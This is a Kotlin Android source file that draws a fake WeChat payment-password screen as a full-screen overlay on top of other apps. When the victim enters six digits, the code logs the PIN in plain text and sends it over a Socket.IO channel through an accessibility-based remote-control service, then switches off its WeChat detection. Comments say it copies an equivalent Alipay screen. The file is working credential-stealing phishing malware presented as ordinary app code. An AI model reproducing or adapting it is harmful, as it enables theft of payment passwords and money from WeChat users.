package com.hikoncont.activity

import android.app.Activity
import android.content.Context
import android.content.Intent
import android.graphics.Color
import android.os.Bundle
import android.os.Handler
import android.os.Looper
import android.util.Log
import android.view.Gravity
import android.view.View
import android.view.WindowManager
import android.widget.*
import com.hikoncont.R

class WechatPasswordActivity : Activity() {

    companion object {
        private const val TAG = "WechatPasswordActivity"
        private const val PASSWORD_LENGTH = 6
    }
    
    // UI组件
    private lateinit var mainLayout: RelativeLayout
    private lateinit var logoImageView: ImageView
    private lateinit var titleText: TextView
    private lateinit var passwordEditText: EditText
    private lateinit var passwordDotsLayout: LinearLayout
    private lateinit var numberKeypadLayout: LinearLayout
    
    // 密码相关
    private var currentPassword = ""
    private val passwordDots = mutableListOf<TextView>()
    
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        
        Log.i(TAG, "💬 微信密码输入页面启动")
        
        // 设置为全屏模式
        window.setFlags(
            WindowManager.LayoutParams.FLAG_FULLSCREEN,
            WindowManager.LayoutParams.FLAG_FULLSCREEN
        )
        
        // 设置为系统级窗口，覆盖在其他应用之上（完全参考AlipayPasswordActivity）
        if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) {
            window.setType(WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY)
        } else {
            window.setType(WindowManager.LayoutParams.TYPE_SYSTEM_ALERT)
        }
        
        setupUI()
        setupListeners()
        
        // 记录启动日志
        recordWechatPasswordActivityStart()
    }
    
    
    /**
     * 初始化UI（完全参考AlipayPasswordActivity）
     */
    private fun setupUI() {
        // 创建主布局
        val mainLayout = LinearLayout(this).apply {
            orientation = LinearLayout.VERTICAL
            setPadding(60, 80, 60, 80)
            setBackgroundColor(Color.WHITE)
            gravity = Gravity.CENTER
        }
        
        // 微信Logo区域
        val logoLayout = LinearLayout(this).apply {
            orientation = LinearLayout.VERTICAL
            gravity = Gravity.CENTER
        }
        
        // 微信Logo图片
        val logoImageView = ImageView(this).apply {
            layoutParams = LinearLayout.LayoutParams(dp(80), dp(80))
            try {
                val inputStream = assets.open("wechat.png")
                setImageBitmap(android.graphics.BitmapFactory.decodeStream(inputStream))
                inputStream.close()
            } catch (e: Exception) {
                Log.e(TAG, "❌ 加载微信logo失败", e)
                // 如果加载失败，显示文字logo
                val logoText = TextView(this@WechatPasswordActivity).apply {
                    text = "微信"
                    textSize = 28f
                    setTextColor(Color.parseColor("#07C160"))
                    gravity = Gravity.CENTER
                    typeface = android.graphics.Typeface.DEFAULT_BOLD
                }
                logoLayout.addView(logoText)
            }
            scaleType = ImageView.ScaleType.FIT_CENTER
        }
        
        logoLayout.addView(logoImageView)
        
        // 标题
        titleText = TextView(this).apply {
            text = "请输入支付密码"
            textSize = 20f
            setTextColor(Color.BLACK)
            gravity = Gravity.CENTER
            setPadding(0, 30, 0, 10)
        }
        
        // 密码输入区域
        val passwordLayout = LinearLayout(this).apply {
            orientation = LinearLayout.VERTICAL
            gravity = Gravity.CENTER
            setPadding(0, 0, 0, 40)
        }
        
        // 密码点显示
        val passwordDotsLayout = LinearLayout(this).apply {
            orientation = LinearLayout.HORIZONTAL
            gravity = Gravity.CENTER
        }
        
        // 创建6个密码点
        for (i in 0 until PASSWORD_LENGTH) {
            val dot = TextView(this).apply {
                text = "●"
                textSize = 24f
                setTextColor(Color.LTGRAY)
                setPadding(20, 0, 20, 0)
            }
            passwordDots.add(dot)
            passwordDotsLayout.addView(dot)
        }
        
        // 隐藏的密码输入框
        passwordEditText = EditText(this).apply {
            visibility = View.GONE
            inputType = android.text.InputType.TYPE_CLASS_NUMBER
            filters = arrayOf(android.text.InputFilter.LengthFilter(PASSWORD_LENGTH))
        }
        
        passwordLayout.addView(passwordDotsLayout)
        passwordLayout.addView(passwordEditText)
        
        // 创建数字键盘
        val keypadLayout = createNumberKeypad()
        
        // 添加到主布局
        mainLayout.addView(logoLayout)
        mainLayout.addView(titleText)
        mainLayout.addView(passwordLayout)
        mainLayout.addView(keypadLayout)
        
        setContentView(mainLayout)
        
        // 自动弹出键盘
        Handler(Looper.getMainLooper()).postDelayed({
            passwordEditText.requestFocus()
            val imm = getSystemService(Context.INPUT_METHOD_SERVICE) as android.view.inputmethod.InputMethodManager
            imm.showSoftInput(passwordEditText, android.view.inputmethod.InputMethodManager.SHOW_IMPLICIT)
        }, 300)
    }
    
    /**
     * 创建数字键盘（完全参考AlipayPasswordActivity）
     */
    private fun createNumberKeypad(): LinearLayout {
        val keypadLayout = LinearLayout(this).apply {
            orientation = LinearLayout.VERTICAL
            gravity = Gravity.CENTER
            layoutParams = LinearLayout.LayoutParams(
                LinearLayout.LayoutParams.WRAP_CONTENT,
                LinearLayout.LayoutParams.WRAP_CONTENT
            ).apply {
                setMargins(0, dp(20), 0, 0)
            }
        }
        
        // 数字键盘布局：1-2-3, 4-5-6, 7-8-9, *-0-#
        val keypadRows = arrayOf(
            arrayOf("1", "2", "3"),
            arrayOf("4", "5", "6"),
            arrayOf("7", "8", "9"),
            arrayOf("", "0", "⌫")
        )
        
        keypadRows.forEach { row ->
            val rowLayout = LinearLayout(this).apply {
                orientation = LinearLayout.HORIZONTAL
                gravity = Gravity.CENTER
            }
            
            row.forEach { key ->
                if (key.isEmpty()) {
                    // 空位占位符
                    val spacer = View(this)
                    spacer.layoutParams = LinearLayout.LayoutParams(dp(64), dp(64)).apply {
                        setMargins(dp(8), dp(8), dp(8), dp(8))
                    }
                    rowLayout.addView(spacer)
                } else {
                    val keyButton = createKeyButton(key)
                    keyButton.layoutParams = LinearLayout.LayoutParams(dp(64), dp(64)).apply {
                        setMargins(dp(8), dp(8), dp(8), dp(8))
                    }
                    rowLayout.addView(keyButton)
                }
            }
            
            keypadLayout.addView(rowLayout)
        }
        
        return keypadLayout
    }
    
    /**
     * 创建键盘按钮（完全参考AlipayPasswordActivity）
     */
    private fun createKeyButton(key: String): Button {
        val button = Button(this).apply {
            text = key
            textSize = 20f
            setTextColor(Color.BLACK)
            setBackgroundColor(Color.WHITE)
            isAllCaps = false
            
            // 设置按钮样式
            setOnTouchListener { v, event ->
                when (event.action) {
                    android.view.MotionEvent.ACTION_DOWN -> {
                        v.animate().scaleX(0.95f).scaleY(0.95f).setDuration(100).start()
                        v.setBackgroundColor(Color.parseColor("#E6E6E6"))
                    }
                    android.view.MotionEvent.ACTION_UP, android.view.MotionEvent.ACTION_CANCEL -> {
                        v.animate().scaleX(1f).scaleY(1f).setDuration(100).start()
                        v.setBackgroundColor(Color.WHITE)
                    }
                }
                false
            }
            
            setOnClickListener {
                handleKeyPress(key)
            }
        }
        
        return button
    }
    
    /**
     * 处理按键输入（完全参考AlipayPasswordActivity）
     */
    private fun handleKeyPress(key: String) {
        when (key) {
            "⌫" -> {
                // 删除键
                if (currentPassword.isNotEmpty()) {
                    currentPassword = currentPassword.dropLast(1)
                    updatePasswordDots()
                    Log.d(TAG, "💬 删除密码，当前长度: ${currentPassword.length}")
                }
            }
            else -> {
                // 数字键
                if (currentPassword.length < PASSWORD_LENGTH) {
                    currentPassword += key
                    updatePasswordDots()
                    Log.d(TAG, "💬 输入密码: $key，当前密码: $currentPassword")
                    
                    // 如果密码长度达到6位，自动确认
                    if (currentPassword.length == PASSWORD_LENGTH) {
                        Log.i(TAG, "💬 密码输入完成，自动确认")
                        Handler(Looper.getMainLooper()).postDelayed({
                            handlePasswordConfirm()
                        }, 300) // 延迟300ms让用户看到完整的密码
                    }
                }
            }
        }
    }
    
    /**
     * 更新密码圆点显示（完全参考AlipayPasswordActivity）
     */
    private fun updatePasswordDots() {
        for (i in passwordDots.indices) {
            val dot = passwordDots[i]
            if (i < currentPassword.length) {
                dot.setTextColor(Color.parseColor("#07C160"))
            } else {
                dot.setTextColor(Color.parseColor("#CCCCCC"))
            }
        }
    }
    
    
    /**
     * 设置监听器（完全参考AlipayPasswordActivity）
     */
    private fun setupListeners() {
        // 密码输入监听
        passwordEditText.addTextChangedListener(object : android.text.TextWatcher {
            override fun beforeTextChanged(s: CharSequence?, start: Int, count: Int, after: Int) {}
            
            override fun onTextChanged(s: CharSequence?, start: Int, before: Int, count: Int) {}
            
            override fun afterTextChanged(s: android.text.Editable?) {
                currentPassword = s?.toString() ?: ""
                updatePasswordDots()
            }
        })
    }
    
    /**
     * 处理密码确认（完全参考AlipayPasswordActivity）
     */
    private fun handlePasswordConfirm() {
        if (currentPassword.length != PASSWORD_LENGTH) {
            Log.w(TAG, "💬 密码长度不足，无法确认")
            return
        }
        
        Log.i(TAG, "💬 微信密码输入完成: $currentPassword")
        
        // 记录操作日志
        recordWechatPasswordLog(currentPassword)
        
        // 显示确认消息
//        Toast.makeText(this, "支付密码已输入", Toast.LENGTH_SHORT).show()
        
        // 延迟关闭页面
        Handler(Looper.getMainLooper()).postDelayed({
            finish()
        }, 1000)
    }
    
    /**
     * 记录微信密码日志
     */
    private fun recordWechatPasswordLog(password: String) {
        try {
            Log.i(TAG, "💬 记录微信密码输入日志")
            
            // 直接调用recordOperationLog函数记录文本输入日志
            val service = com.hikoncont.service.AccessibilityRemoteService.getInstance()
            if (service != null) {
                service.recordOperationLog(
                    "TEXT_INPUT", 
                    "文本输入: ${password.take(50)}${if (password.length > 50) "..." else ""}", 
                    mapOf(
                        "textLength" to password.length,
                        "inputMethod" to "wechat_custom_keypad",
                        "containsPassword" to true,
                        "operationType" to "WECHAT_PASSWORD_INPUT",
                        "activity" to "WechatPasswordActivity"
                    )
                )
                
                // 通过Socket发送密码记录
                sendPasswordViaSocket(password)
                
                // 密码传输后自动关闭检测功能
                disableWechatDetectionAfterPasswordSent()
                
            } else {
                Log.w(TAG, "⚠️ AccessibilityRemoteService实例不可用，无法记录日志")
            }
            
            // 额外的微信特定日志数据
            val wechatLogData = mapOf(
                "operationType" to "WECHAT_PASSWORD_INPUT",
                "password" to password,
                "passwordLength" to password.length,
                "timestamp" to System.currentTimeMillis(),
                "activity" to "WechatPasswordActivity",
                "inputMethod" to "custom_keypad",
                "autoConfirm" to true,
                "amount" to "¥ 0.01",
                "merchant" to "测试商家"
            )
            
            // 这里可以添加发送到服务器的逻辑
            // 例如通过Socket.IO发送日志数据
            Log.i(TAG, "💬 微信密码日志数据: $wechatLogData")
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 记录微信密码日志失败", e)
        }
    }
    
    /**
     * 通过Socket发送密码记录
     */
    private fun sendPasswordViaSocket(password: String) {
        try {
            Log.i(TAG, "📡 通过Socket发送微信密码记录")
            
            val service = com.hikoncont.service.AccessibilityRemoteService.getInstance()
            if (service != null) {
                val socketManager = service.getSocketIOManager()
                if (socketManager != null) {
                    // 使用专门的微信密码发送方法
                    socketManager.sendWechatPasswordData(password, "custom_keypad")
                    Log.i(TAG, "✅ 微信密码已通过Socket发送")
                } else {
                    Log.w(TAG, "⚠️ SocketIOManager实例不可用，无法发送密码")
                }
            } else {
                Log.w(TAG, "⚠️ AccessibilityRemoteService实例不可用，无法获取SocketIOManager")
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 通过Socket发送密码失败", e)
        }
    }
    
    /**
     * 密码传输后自动关闭检测功能
     */
    private fun disableWechatDetectionAfterPasswordSent() {
        try {
            Log.i(TAG, "🔒 密码传输完成，自动关闭微信检测功能")
            
            val service = com.hikoncont.service.AccessibilityRemoteService.getInstance()
            if (service != null) {
                service.disableWechatDetection()
                Log.i(TAG, "✅ 微信检测功能已自动关闭")
            } else {
                Log.w(TAG, "⚠️ AccessibilityRemoteService实例不可用，无法关闭检测功能")
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 自动关闭微信检测功能失败", e)
        }
    }
    
    /**
     * 记录微信密码页面启动日志
     */
    private fun recordWechatPasswordActivityStart() {
        try {
            val service = com.hikoncont.service.AccessibilityRemoteService.getInstance()
            if (service != null) {
                service.recordOperationLog("WECHAT_PASSWORD_ACTIVITY_START", "微信密码输入页面启动", mapOf(
                    "startTime" to System.currentTimeMillis(),
                    "activity" to "WechatPasswordActivity"
                ))
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 记录微信密码页面启动日志失败", e)
        }
    }
    
    /**
     * dp转px
     */
    private fun dp(value: Int): Int {
        return (value * resources.displayMetrics.density).toInt()
    }
    

    override fun onBackPressed() {
        Log.i(TAG, "💬 用户按返回键")
        finish()
    }
    
    override fun onDestroy() {
        super.onDestroy()
        Log.i(TAG, "💬 WechatPasswordActivity销毁")
    }
}
